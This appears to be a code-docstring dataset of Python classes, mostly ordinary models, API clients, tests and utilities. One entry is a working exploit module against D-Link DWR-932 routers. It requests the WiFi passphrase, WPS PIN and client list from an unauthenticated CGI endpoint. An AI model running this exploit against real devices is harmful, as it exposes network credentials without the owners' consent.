@attr.s <NEW_LINE> class SolutionInput: <NEW_LINE> <INDENT> start = attr.ib() <NEW_LINE> stop = attr.ib() <NEW_LINE> max_steps = attr.ib() <NEW_LINE> num_heights = attr.ib() <NEW_LINE> relative_tolerance = attr.ib() <NEW_LINE> absolute_tolerance = attr.ib() <NEW_LINE> v_rin_on_c_s = attr.ib() <NEW_LINE> v_a_on_c_s = attr.ib() <NEW_LINE> σ_O_0 = attr.ib() <NEW_LINE> σ_P_0 = attr.ib() <NEW_LINE> σ_H_0 = attr.ib() <NEW_LINE> ρ_s = attr.ib() <NEW_LINE> z_s = attr.ib(default=None) | Container for parsed input for solution | 62598faa76e4537e8c3ef51c |
@dataclass(order=True, frozen=True) <NEW_LINE> class Dependencies(): <NEW_LINE> <INDENT> deps: FS[Dependency] = field(default_factory=frozenset) <NEW_LINE> @classmethod <NEW_LINE> def fromlist(cls, deps: L[Dependency]) -> 'Dependencies': <NEW_LINE> <INDENT> return cls(frozenset(deps)) <NEW_LINE> <DEDENT> def chase(self, i: Inst, limit: int = 100) -> ChaseResult: <NEW_LINE> <INDENT> init, i_init, i_prev = True, i, i <NEW_LINE> sequence: L[T[Dependency, Inst]] = [] <NEW_LINE> while init or i != i_prev: <NEW_LINE> <INDENT> init = False <NEW_LINE> i_prev = i <NEW_LINE> max_var = i.max_var <NEW_LINE> deps = list(self.deps) <NEW_LINE> random.shuffle(deps) <NEW_LINE> for dep in deps: <NEW_LINE> <INDENT> if len(sequence) > limit: <NEW_LINE> <INDENT> return ChaseResult(i_init, tuple(sequence), True) <NEW_LINE> <DEDENT> res = dep.fire(i, max_var) <NEW_LINE> if res: <NEW_LINE> <INDENT> i, max_var = res <NEW_LINE> sequence.append((dep, i)) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return ChaseResult(i_init, tuple(sequence), fail=dep) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> return ChaseResult(i_init, tuple(sequence)) | Methods depending on sets of dependencies | 62598faa5fc7496912d4823a |
class DatasetCollectionItem(HydraComplexModel): <NEW_LINE> <INDENT> _type_info = [ ('collection_id', Integer), ('dataset_id', Integer), ('cr_date', Unicode(default=None)), ] <NEW_LINE> def __init__(self, parent=None): <NEW_LINE> <INDENT> super(DatasetCollectionItem, self).__init__() <NEW_LINE> if parent is None: <NEW_LINE> <INDENT> return <NEW_LINE> <DEDENT> self.collection_id = parent.collection_id <NEW_LINE> self.dataset_id = parent.dataset_id <NEW_LINE> self.cr_date = str(parent.cr_date) | - **collection_id** Integer
- **dataset_id** Integer
- **cr_date** Unicode(default=None) | 62598faa99fddb7c1ca62da0 |
class ShowArp(ShowArp_iosxe): <NEW_LINE> <INDENT> pass | Parser for show arp | 62598faa7c178a314d78d40c |
class CueJobModel(QtGui.QStandardItemModel): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> super(CueJobModel, self).__init__() <NEW_LINE> self.setHorizontalHeaderLabels(['Layer Name', 'Job Type', 'Frames', 'Depend Type']) <NEW_LINE> <DEDENT> def getAllLayers(self): <NEW_LINE> <INDENT> jobItem = self.item(0, 0) <NEW_LINE> layerObjects = [jobItem.child(row, 0).data(QtCore.Qt.UserRole) for row in range(jobItem.rowCount())] <NEW_LINE> return layerObjects | Data model for a job, in Qt format. | 62598faa4428ac0f6e658493 |
class BackupUDBInstanceSlowLogRequestSchema(schema.RequestSchema): <NEW_LINE> <INDENT> fields = { "BackupName": fields.Str(required=True, dump_to="BackupName"), "BeginTime": fields.Int(required=True, dump_to="BeginTime"), "DBId": fields.Str(required=True, dump_to="DBId"), "EndTime": fields.Int(required=True, dump_to="EndTime"), "ProjectId": fields.Str(required=False, dump_to="ProjectId"), "Region": fields.Str(required=True, dump_to="Region"), } | BackupUDBInstanceSlowLog - 备份UDB指定时间段的slowlog分析结果
| 62598faaf548e778e596b513 |
class GCodeException(Exception): <NEW_LINE> <INDENT> pass | Exceptions while parsing gcode.
| 62598faacb5e8a47e493c130 |
class ToggleableInteraction(TimeStampedModel): <NEW_LINE> <INDENT> objects = ToggleableInteractionManager() <NEW_LINE> user = models.ForeignKey( User ) <NEW_LINE> content_type = models.ForeignKey( ContentType, editable=False ) <NEW_LINE> object_id = models.PositiveIntegerField( editable=False ) <NEW_LINE> content_object = generic.GenericForeignKey( 'content_type', 'object_id', ) <NEW_LINE> @classmethod <NEW_LINE> def get_class_name(cls): <NEW_LINE> <INDENT> value = cls.__name__.lower() <NEW_LINE> return value <NEW_LINE> <DEDENT> @models.permalink <NEW_LINE> def get_absolute_url(self): <NEW_LINE> <INDENT> return self.content_object.get_absolute_url() <NEW_LINE> <DEDENT> def __unicode__(self): <NEW_LINE> <INDENT> return "{user} <> {obj}".format( user=self.user, obj=self.content_object ) <NEW_LINE> <DEDENT> class Meta: <NEW_LINE> <INDENT> abstract = True <NEW_LINE> ordering = ['user', 'content_type', 'object_id'] <NEW_LINE> unique_together = ( ('user', 'content_type', 'object_id'), ) | An abstract class for toggleable user-object interactions | 62598faa01c39578d7f12cef |
class PrewikkaResponse(object): <NEW_LINE> <INDENT> def __init__(self, data=None, headers=_sentinel, code=None, status_text=None): <NEW_LINE> <INDENT> self.data = data <NEW_LINE> self.code = code <NEW_LINE> self.status_text = status_text <NEW_LINE> self.ext_content = {} <NEW_LINE> if headers is not _sentinel: <NEW_LINE> <INDENT> self.headers = headers <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.headers = collections.OrderedDict( ( ("Content-Type", "text/html"), ("Last-Modified", time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.gmtime())), ("Expires", "Fri, 01 Jan 1999 00:00:00 GMT"), ("Cache-control", "no-store, no-cache, must-revalidate"), ("Cache-control", "post-check=0, pre-check=0"), ("Pragma", "no-cache"), ) ) <NEW_LINE> <DEDENT> <DEDENT> def add_ext_content(self, key, value): <NEW_LINE> <INDENT> self.ext_content[key] = value <NEW_LINE> return self <NEW_LINE> <DEDENT> def add_html_content(self, elem, target=None): <NEW_LINE> <INDENT> self.ext_content.setdefault("html_content", []).append({"target": target, "html": elem}) <NEW_LINE> return self <NEW_LINE> <DEDENT> def add_notification(self, message, classname="success", name=None, icon=None, duration=None): <NEW_LINE> <INDENT> self.ext_content.setdefault("notifications", []).append({ "message": message, "classname": classname, "name": name, "icon": icon, "duration": duration }) <NEW_LINE> return self <NEW_LINE> <DEDENT> def content(self): <NEW_LINE> <INDENT> if self.data is None: <NEW_LINE> <INDENT> if not self.ext_content: <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> self.data = {} <NEW_LINE> <DEDENT> if isinstance(self.data, compat.STRING_TYPES): <NEW_LINE> <INDENT> return self.data <NEW_LINE> <DEDENT> self.headers["Content-Type"] = "application/json" <NEW_LINE> if isinstance(self.data, dict): <NEW_LINE> <INDENT> self.data["_extensions"] = self.ext_content <NEW_LINE> <DEDENT> return json.dumps(self.data) <NEW_LINE> <DEDENT> def _encode_response(self, res): <NEW_LINE> <INDENT> return res.encode(env.config.general.get("encoding", "utf8"), "xmlcharrefreplace") <NEW_LINE> <DEDENT> def write(self, request): <NEW_LINE> <INDENT> content = self.content() <NEW_LINE> if content is None and self.code is None: <NEW_LINE> <INDENT> self.code = 204 <NEW_LINE> <DEDENT> request.send_headers(self.headers.items(), self.code or 200, self.status_text) <NEW_LINE> if content is not None: <NEW_LINE> <INDENT> request.write(self._encode_response(content)) | HTML response
Use this class to render HTML in your view.
:param data: Data of the response
:param int code: HTTP response code
:param str status_text: HTTP response status text
If the type of data is a dict, it will be cast in a JSON string | 62598faacc0a2c111447af80 |
class Exploit(exploits.Exploit): <NEW_LINE> <INDENT> __info__ = { 'name': 'D-Link DWR-932 Info Disclosure', 'description': 'Module explois information disclosure vulnerability in D-Link DWR-932 devices. It is possible to retrieve sensitive information such as credentials.', 'authors': [ 'Saeed reza Zamanian' 'Marcin Bury <marcin.bury[at]reverse-shell.com>', ], 'references': [ 'https://www.exploit-db.com/exploits/39581/', ], 'devices': [ 'D-Link DWR-932', ] } <NEW_LINE> target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) <NEW_LINE> port = exploits.Option(80, 'Target port') <NEW_LINE> def run(self): <NEW_LINE> <INDENT> url = "{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703".format(self.target, self.port) <NEW_LINE> response = http_request(method="GET", url=url) <NEW_LINE> if response is None: <NEW_LINE> <INDENT> return <NEW_LINE> <DEDENT> try: <NEW_LINE> <INDENT> print_status("Decoding JSON") <NEW_LINE> data = json.loads(response.text) <NEW_LINE> <DEDENT> except ValueError: <NEW_LINE> <INDENT> print_error("Exploit failed - response is not valid JSON") <NEW_LINE> return <NEW_LINE> <DEDENT> if len(data): <NEW_LINE> <INDENT> print_success("Exploit success") <NEW_LINE> <DEDENT> rows = [] <NEW_LINE> for key in data.keys(): <NEW_LINE> <INDENT> if len(data[key]) > 0: <NEW_LINE> <INDENT> rows.append((key, data[key])) <NEW_LINE> <DEDENT> <DEDENT> headers = ("Parameter", "Value") <NEW_LINE> print_table(headers, *rows) <NEW_LINE> <DEDENT> @mute <NEW_LINE> def check(self): <NEW_LINE> <INDENT> url = "{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703".format(self.target, self.port) <NEW_LINE> response = http_request(method="GET", url=url) <NEW_LINE> if response is None: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> if response.status_code == 200: <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> data = json.loads(response.text) <NEW_LINE> if len(data): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> <DEDENT> except ValueError: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> <DEDENT> return False | Exploit implementation for D-Link DWR-932 Information Disclosure vulnerability.
If the target is vulnerable it allows to read credentials for administrator." | 62598faa4e4d562566372395 |
class UsernameExistsException(Exception): <NEW_LINE> <INDENT> def __init__(self, value): <NEW_LINE> <INDENT> self.value = value <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return repr(self.value) | Username already exists in database. | 62598faa009cb60464d0148f |
class TestEventsListView: <NEW_LINE> <INDENT> url = reverse('events:list') <NEW_LINE> def test_events_list_shows_existing_events(self, client, authenticated_user, mocker): <NEW_LINE> <INDENT> events = factories.EventFactory.build_batch(2, slug='i-am-a-slug') <NEW_LINE> mocker.patch.object(views.EventListView, 'get_queryset', return_value=events) <NEW_LINE> response = client.get(self.url) <NEW_LINE> assert response.status_code == 200 <NEW_LINE> assert response.template_name[0] == 'events/event_list.html' <NEW_LINE> content = response.content.decode() <NEW_LINE> for event in events: <NEW_LINE> <INDENT> assert event.title in content <NEW_LINE> assert event.venue.name in content <NEW_LINE> assert event.date.strftime("%d/%m") in content <NEW_LINE> assert event.get_absolute_url() in content <NEW_LINE> <DEDENT> <DEDENT> def test_anonymous_user_cant_access_events_list(self, client, mocker): <NEW_LINE> <INDENT> mocker.patch.object(views.EventListView, 'get_queryset', return_value=None) <NEW_LINE> response = client.get(self.url) <NEW_LINE> assert response.status_code == 302 <NEW_LINE> assert response.url.startswith(reverse('account_login')) | Test events.views.EventListView on '/events/'. | 62598faa8e7ae83300ee9012 |
class Color(models.Model): <NEW_LINE> <INDENT> title = models.CharField(verbose_name=_(u'Title'), max_length=64) <NEW_LINE> slug = models.SlugField(max_length=80) <NEW_LINE> color = models.CharField(verbose_name=_(u'Color'), max_length=7, default='#6699bb', help_text=_(u'HEX color, as #RRGGBB')) <NEW_LINE> class Meta: <NEW_LINE> <INDENT> verbose_name = _(u'Color') <NEW_LINE> verbose_name_plural = _(u'Colors') <NEW_LINE> ordering = ('title',) <NEW_LINE> <DEDENT> def __unicode__(self): <NEW_LINE> <INDENT> return self.title | Definition of product's colors. | 62598faa99cbb53fe6830e47 |
class Solution: <NEW_LINE> <INDENT> def numMatchingSubseq(self, S: str, words: List[str]) -> int: <NEW_LINE> <INDENT> def is_sub_seq(word): <NEW_LINE> <INDENT> pre_pos = -1 <NEW_LINE> for c in word: <NEW_LINE> <INDENT> if c not in index_map: return False <NEW_LINE> index = bisect_right(index_map[c], pre_pos) <NEW_LINE> if index == len(index_map[c]): <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> pre_pos = index_map[c][index] <NEW_LINE> <DEDENT> return True <NEW_LINE> <DEDENT> index_map = collections.defaultdict(list) <NEW_LINE> for i, c in enumerate(S): <NEW_LINE> <INDENT> index_map[c].append(i) <NEW_LINE> <DEDENT> ans = 0 <NEW_LINE> for word in words: <NEW_LINE> <INDENT> if is_sub_seq(word): ans+=1 <NEW_LINE> <DEDENT> return ans | Basic concept lies around, if our string is abcde, make a dict like this
{
"a": [0],
"b": [1],
"c": [2],
"d": [3],
"e": [4]
}
Now in case we want to check for a subsequence ace,
check if
-> -1 can be inserted in [0], such that, its not inserted at the last location of list.
-> 0 can be inserted in [2], such that, its not inserted at the last location of list [2]
-> 2 can be inserted in [4], such that, its not inserted at the last location of list[4]
If thats possible, we are a valid subsequence. If thats not, we arent a valid subsequence.
like if our input is bb,
-> -1 can be inserted in [0]
-> 0 can be inserted in [0] such that its not at last location of the list.means we are out of bounds and its not a valid subsequence. | 62598faa26068e7796d4c8c4 |
class ImportApi(object): <NEW_LINE> <INDENT> def __init__(self, api_client=None): <NEW_LINE> <INDENT> if api_client is None: <NEW_LINE> <INDENT> api_client = ApiClient() <NEW_LINE> <DEDENT> self.api_client = api_client <NEW_LINE> <DEDENT> def import_listtypes(self, **kwargs): <NEW_LINE> <INDENT> kwargs['_return_http_data_only'] = True <NEW_LINE> return self.import_listtypes_with_http_info(**kwargs) <NEW_LINE> <DEDENT> def import_listtypes_with_http_info(self, **kwargs): <NEW_LINE> <INDENT> local_var_params = locals() <NEW_LINE> all_params = [ ] <NEW_LINE> all_params.extend( [ 'async_req', '_return_http_data_only', '_preload_content', '_request_timeout' ] ) <NEW_LINE> for key, val in six.iteritems(local_var_params['kwargs']): <NEW_LINE> <INDENT> if key not in all_params: <NEW_LINE> <INDENT> raise ApiTypeError( "Got an unexpected keyword argument '%s'" " to method import_listtypes" % key ) <NEW_LINE> <DEDENT> local_var_params[key] = val <NEW_LINE> <DEDENT> del local_var_params['kwargs'] <NEW_LINE> collection_formats = {} <NEW_LINE> path_params = {} <NEW_LINE> query_params = [] <NEW_LINE> header_params = {} <NEW_LINE> form_params = [] <NEW_LINE> local_var_files = {} <NEW_LINE> body_params = None <NEW_LINE> auth_settings = ['bearerAuth'] <NEW_LINE> return self.api_client.call_api( '/import/listtypes', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, auth_settings=auth_settings, async_req=local_var_params.get('async_req'), _return_http_data_only=local_var_params.get('_return_http_data_only'), _preload_content=local_var_params.get('_preload_content', True), _request_timeout=local_var_params.get('_request_timeout'), collection_formats=collection_formats) | NOTE: This class is auto generated by OpenAPI Generator
Ref: https://openapi-generator.tech
Do not edit the class manually. | 62598faa67a9b606de545f3c |
class SshdMatchBlock(structs.RDFProtoStruct): <NEW_LINE> <INDENT> protobuf = config_file_pb2.SshdMatchBlock <NEW_LINE> rdf_deps = [ protodict.AttributedDict, ] | An RDFValue representation of an sshd config match block. | 62598faaf548e778e596b514 |
class OAuthQQUser(BaseModel): <NEW_LINE> <INDENT> user = models.ForeignKey("users.User", on_delete=models.CASCADE, verbose_name="用户") <NEW_LINE> openid = models.CharField(max_length=64, verbose_name="openid", db_index=True) <NEW_LINE> class Meta: <NEW_LINE> <INDENT> db_table = "tb_oauth_qq" <NEW_LINE> verbose_name = "QQ登录用户数据" <NEW_LINE> verbose_name_plural = verbose_name | QQ登录用户数据:继承BaseModel后补充必要字段 | 62598faa1f5feb6acb162b91 |
class TestIPDisabled(VppTestCase): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> super(TestIPDisabled, self).setUp() <NEW_LINE> self.create_pg_interfaces(range(2)) <NEW_LINE> self.pg0.admin_up() <NEW_LINE> self.pg0.config_ip6() <NEW_LINE> self.pg0.resolve_ndp() <NEW_LINE> self.pg1.admin_up() <NEW_LINE> <DEDENT> def tearDown(self): <NEW_LINE> <INDENT> super(TestIPDisabled, self).tearDown() <NEW_LINE> for i in self.pg_interfaces: <NEW_LINE> <INDENT> i.unconfig_ip4() <NEW_LINE> i.admin_down() <NEW_LINE> <DEDENT> <DEDENT> def test_ip_disabled(self): <NEW_LINE> <INDENT> route_ff_01 = VppIpMRoute( self, "::", "ffef::1", 128, MRouteEntryFlags.MFIB_ENTRY_FLAG_NONE, [VppMRoutePath(self.pg1.sw_if_index, MRouteItfFlags.MFIB_ITF_FLAG_ACCEPT), VppMRoutePath(self.pg0.sw_if_index, MRouteItfFlags.MFIB_ITF_FLAG_FORWARD)], is_ip6=1) <NEW_LINE> route_ff_01.add_vpp_config() <NEW_LINE> pu = (Ether(src=self.pg1.remote_mac, dst=self.pg1.local_mac) / IPv6(src="2001::1", dst=self.pg0.remote_ip6) / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) <NEW_LINE> pm = (Ether(src=self.pg1.remote_mac, dst=self.pg1.local_mac) / IPv6(src="2001::1", dst="ffef::1") / UDP(sport=1234, dport=1234) / Raw('\xa5' * 100)) <NEW_LINE> self.send_and_assert_no_replies(self.pg1, pu, "IPv6 disabled") <NEW_LINE> self.send_and_assert_no_replies(self.pg1, pm, "IPv6 disabled") <NEW_LINE> self.pg1.config_ip6() <NEW_LINE> self.pg1.add_stream(pu) <NEW_LINE> self.pg_enable_capture(self.pg_interfaces) <NEW_LINE> self.pg_start() <NEW_LINE> rx = self.pg0.get_capture(1) <NEW_LINE> self.pg1.add_stream(pm) <NEW_LINE> self.pg_enable_capture(self.pg_interfaces) <NEW_LINE> self.pg_start() <NEW_LINE> rx = self.pg0.get_capture(1) <NEW_LINE> self.pg1.unconfig_ip6() <NEW_LINE> self.send_and_assert_no_replies(self.pg1, pu, "IPv6 disabled") <NEW_LINE> self.send_and_assert_no_replies(self.pg1, pm, "IPv6 disabled") | IPv6 disabled | 62598faa3d592f4c4edbae3c |
class BaseFile(object): <NEW_LINE> <INDENT> def __init__(self, name, expected_hash=None, hash_class=hashlib.sha256): <NEW_LINE> <INDENT> self.name = name <NEW_LINE> self.expected_hash = expected_hash <NEW_LINE> self.hash_class = hash_class <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return self.name <NEW_LINE> <DEDENT> def verify_checksum(self): <NEW_LINE> <INDENT> if self.expected_hash is None: <NEW_LINE> <INDENT> LOGGER.debug('No checksum for %s', self.name) <NEW_LINE> return <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> hash_obj = self.hash_class() <NEW_LINE> current_position = self.tell() <NEW_LINE> file_content = self.read() <NEW_LINE> self.seek(current_position) <NEW_LINE> hash_obj.update(file_content) <NEW_LINE> file_hash = hash_obj.hexdigest() <NEW_LINE> if file_hash != self.expected_hash: <NEW_LINE> <INDENT> LOGGER.error('File checksum is %s, expected %s (%s)', file_hash, self.expected_hash, hash_obj.name) <NEW_LINE> raise InvalidChecksum() <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> LOGGER.debug('Checksum ok for %s', self.name) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def seek(self, *args): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def tell(self): <NEW_LINE> <INDENT> return 0 <NEW_LINE> <DEDENT> def read(self, *args): <NEW_LINE> <INDENT> raise NotImplentedError | Base class for virtual files.
| 62598faa32920d7e50bc5fc5 |
@ROUTER('/') <NEW_LINE> class GamesCollection(Resource): <NEW_LINE> <INDENT> @BUILDER.expect(pagination_args) <NEW_LINE> @BUILDER.marshal_with(games_collection) <NEW_LINE> def get(self): <NEW_LINE> <INDENT> args = pagination_args.parse_args(request) <NEW_LINE> page = args.get('page', 1) <NEW_LINE> per_page = args.get('per_page', 1) <NEW_LINE> return Game.query.paginate(page, per_page, error_out=False) <NEW_LINE> <DEDENT> @NS.expect(list_game_item) <NEW_LINE> @BUILDER.response(codes.CREATED, 'Game created') <NEW_LINE> @BUILDER.header(X_WARNINGS_KEY, X_WARNINGS_DESC) <NEW_LINE> def post(self): <NEW_LINE> <INDENT> game = None <NEW_LINE> req_data = request.json <NEW_LINE> name = req_data.get(NAME_FIELD) <NEW_LINE> description = req_data.get(DESCRIPTION_FIELD) <NEW_LINE> category_ids = req_data.get(CATEGORIES_FIELD) <NEW_LINE> passed_fields = req_data.keys() <NEW_LINE> category_ids = req_data.get(CATEGORIES_FIELD) <NEW_LINE> message = check_unsupported_fields(passed_fields, VALID_FIELDS) <NEW_LINE> if message: <NEW_LINE> <INDENT> x_warnings.append(message) <NEW_LINE> <DEDENT> game = Game(name, description) <NEW_LINE> set_categories(game, category_ids) <NEW_LINE> DB.session.add(game) <NEW_LINE> DB.session.commit() <NEW_LINE> return None, codes.CREATED | Lists all games, allows adding new ones to system. | 62598faa01c39578d7f12cf0 |
class Visualizer(object): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> super(Visualizer, self).__init__() <NEW_LINE> plt.ion() <NEW_LINE> self.bundle = {} <NEW_LINE> self.fig = plt.figure(figsize=(6,12)) <NEW_LINE> <DEDENT> def __del__(self): <NEW_LINE> <INDENT> plt.ioff() <NEW_LINE> <DEDENT> def register(self, title, xlabel, ylabel): <NEW_LINE> <INDENT> self.bundle[title] = {'data': np.zeros(shape=(0,)), 'title': title, 'xlabel': xlabel, 'ylabel': ylabel} <NEW_LINE> <DEDENT> def draw(self): <NEW_LINE> <INDENT> self.fig.clf() <NEW_LINE> num_ax = len(self.bundle) <NEW_LINE> for ax, name in enumerate(self.bundle): <NEW_LINE> <INDENT> plt.subplot(num_ax, 1, ax+1) <NEW_LINE> plt.plot(self.bundle[name]['data']) <NEW_LINE> plt.title(self.bundle[name]['title']) <NEW_LINE> plt.xlabel(self.bundle[name]['xlabel']) <NEW_LINE> plt.ylabel(self.bundle[name]['ylabel']) <NEW_LINE> <DEDENT> plt.tight_layout() <NEW_LINE> self.fig.canvas.draw() <NEW_LINE> if is_ipython: <NEW_LINE> <INDENT> display.clear_output(wait=True) <NEW_LINE> display.display(plt.gcf()) <NEW_LINE> <DEDENT> <DEDENT> def push_back(self, **kwargs): <NEW_LINE> <INDENT> for name, data in kwargs.items(): <NEW_LINE> <INDENT> self.bundle[name]['data'] = np.append(self.bundle[name]['data'], data) <NEW_LINE> <DEDENT> self.draw() <NEW_LINE> <DEDENT> def save(self): <NEW_LINE> <INDENT> self.fig.savefig('Visualizer.png') | Visualizer for statistics, e.g. loss | 62598faaf9cc0f698b1c5281 |
class DynamicsAuthenticationType(with_metaclass(CaseInsensitiveEnumMeta, str, Enum)): <NEW_LINE> <INDENT> OFFICE365 = "Office365" <NEW_LINE> IFD = "Ifd" <NEW_LINE> AAD_SERVICE_PRINCIPAL = "AADServicePrincipal" | All available dynamicsAuthenticationType values.
| 62598faa76e4537e8c3ef51d |
class LanguageHomePage(AbstractHomePage): <NEW_LINE> <INDENT> language_code = models.CharField(max_length=255) <NEW_LINE> settings_panels = TranslatablePage.settings_panels + [ FieldPanel('language_code'), ] <NEW_LINE> lexical_resources = StreamField( [('lexical_resource_link', ResourceLinkBlock())], blank=True, ) <NEW_LINE> corpus_resources = StreamField( [('corpus_resource_link', ResourceLinkBlock())], blank=True, ) <NEW_LINE> grammatical_resources = StreamField( [('grammatical_resource_link', ResourceLinkBlock())], blank=True, ) <NEW_LINE> about = models.ForeignKey( 'wagtailcore.Page', null=True, blank=True, on_delete=models.SET_NULL, related_name='+', ) <NEW_LINE> content_panels = TranslatablePage.content_panels + [ MultiFieldPanel([ FieldPanel('headline'), FieldPanel('sub_headline', 'Sub-Headline'), ImageChooserPanel('header_img', 'Header image'), ]), MultiFieldPanel([ StreamFieldPanel('lexical_resources'), StreamFieldPanel('corpus_resources'), StreamFieldPanel('grammatical_resources'), PageChooserPanel('about', 'mesolex_site.LanguageResourcePage'), ]), FieldPanel('body', classname='full'), ] <NEW_LINE> subpage_types = [ 'LanguageResourcePage', 'SearchPage', ] <NEW_LINE> parent_page_types = [ HomePage, ] | The landing page for each individual language site, which
links to the language's resources. | 62598faa379a373c97d98f83 |
class Timeout(IntegerField): <NEW_LINE> <INDENT> pass | A timeout field. | 62598faaaad79263cf42e745 |
class JSONSource(FileSource): <NEW_LINE> <INDENT> def _process_file(self, f): <NEW_LINE> <INDENT> import json <NEW_LINE> obj = json.load(f) <NEW_LINE> if isinstance(obj, list): <NEW_LINE> <INDENT> for record in obj: <NEW_LINE> <INDENT> yield record <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> yield obj | Source for reading from JSON files.
When processing JSON files, if the top-level object is a list, will
yield each member separately. Otherwise, yields the top-level
object. | 62598faa4c3428357761a22b |
class TestExportKeepass(tests.Test): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> self._tmpdir('keepass.kdbx') <NEW_LINE> self.keepass = Keepass(self.prefix) <NEW_LINE> self.keepass.all = True <NEW_LINE> <DEDENT> def test_keepass_exist(self): <NEW_LINE> <INDENT> self._init_keepass() <NEW_LINE> self.assertTrue(self.keepass.exist()) <NEW_LINE> self.keepass.prefix = '' <NEW_LINE> self.assertFalse(self.keepass.exist()) <NEW_LINE> <DEDENT> def test_keepass_isvalid(self): <NEW_LINE> <INDENT> self.assertTrue(self.keepass.isvalid()) | Test keepass general features. | 62598faae5267d203ee6b87b |
@dataclass <NEW_LINE> class SourceEvaluation: <NEW_LINE> <INDENT> commands_evaluations: List[CommandEvaluation] = field(default_factory=list) <NEW_LINE> source_execution_duration: float = field(default=0) <NEW_LINE> def __len__(self) -> int: <NEW_LINE> <INDENT> return len(self.commands_evaluations) <NEW_LINE> <DEDENT> def append(self, command_evaluation: CommandEvaluation) -> None: <NEW_LINE> <INDENT> self.commands_evaluations.append(command_evaluation) <NEW_LINE> <DEDENT> def as_dict(self) -> Dict[str, Any]: <NEW_LINE> <INDENT> return dict( commands_evaluations=[ command_evaluation.as_dict() for command_evaluation in self.commands_evaluations ], source_execution_duration=self.source_execution_duration, ) <NEW_LINE> <DEDENT> @property <NEW_LINE> def success(self) -> bool: <NEW_LINE> <INDENT> return all( commands_evaluation.success for commands_evaluation in self.commands_evaluations ) <NEW_LINE> <DEDENT> @property <NEW_LINE> def commands_number(self): <NEW_LINE> <INDENT> return len(self.commands_evaluations) <NEW_LINE> <DEDENT> @property <NEW_LINE> def successful_commands_number(self): <NEW_LINE> <INDENT> return len( [ commands_evaluation for commands_evaluation in self.commands_evaluations if commands_evaluation.success ] ) <NEW_LINE> <DEDENT> @property <NEW_LINE> def failed_commands_number(self): <NEW_LINE> <INDENT> return self.commands_number - self.successful_commands_number <NEW_LINE> <DEDENT> @classmethod <NEW_LINE> def from_dict(cls, source_evaluation: Dict[str, Any]) -> "SourceEvaluation": <NEW_LINE> <INDENT> return SourceEvaluation( commands_evaluations=[ CommandEvaluation.from_dict(command_evaluation) for command_evaluation in source_evaluation["commands_evaluations"] ], source_execution_duration=source_evaluation["source_execution_duration"], ) <NEW_LINE> <DEDENT> def __iter__(self) -> Iterator[CommandEvaluation]: <NEW_LINE> <INDENT> return iter(self.commands_evaluations) | Evaluation result of a source. | 62598faa460517430c432015 |
class InvalidEventException(Exception): <NEW_LINE> <INDENT> pass | Raised when provided event key is invalid. | 62598faa5fc7496912d4823b |
class Profile(Id): <NEW_LINE> <INDENT> def __init__(self, dump, *args, **kwargs): <NEW_LINE> <INDENT> self.dump = dump <NEW_LINE> super(Profile, self).__init__(*args, **kwargs) | A Container Class for profile objects
(dereferenced URIs contained in the WebID cert SAN). | 62598faa4527f215b58e9e53 |
class AdminPortal2Server(amp.Command): <NEW_LINE> <INDENT> key = "AdminPortal2Server" <NEW_LINE> arguments = [(b"packed_data", Compressed())] <NEW_LINE> errors = {Exception: b"EXCEPTION"} <NEW_LINE> response = [] | Administration Portal -> Server
Sent when the portal needs to perform admin operations on the
server, such as when a new session connects or resyncs | 62598faa3317a56b869be503 |
class Rectangle: <NEW_LINE> <INDENT> number_of_instances = 0 <NEW_LINE> print_symbol = '#' <NEW_LINE> def __init__(self, width=0, height=0): <NEW_LINE> <INDENT> self.width = width <NEW_LINE> self.height = height <NEW_LINE> Rectangle.number_of_instances += 1 <NEW_LINE> <DEDENT> @classmethod <NEW_LINE> def square(cls, size=0): <NEW_LINE> <INDENT> return Rectangle(size, size) <NEW_LINE> <DEDENT> @staticmethod <NEW_LINE> def bigger_or_equal(rect_1, rect_2): <NEW_LINE> <INDENT> if isinstance(rect_1, Rectangle) is False: <NEW_LINE> <INDENT> raise TypeError("rect_1 must be an instance of Rectangle") <NEW_LINE> <DEDENT> if isinstance(rect_2, Rectangle) is False: <NEW_LINE> <INDENT> raise TypeError("rect_2 must be an instance of Rectangle") <NEW_LINE> <DEDENT> if rect_1.area() >= rect_2.area(): <NEW_LINE> <INDENT> return rect_1 <NEW_LINE> <DEDENT> return rect_2 <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return "\n".join([str(self.print_symbol * self.width) 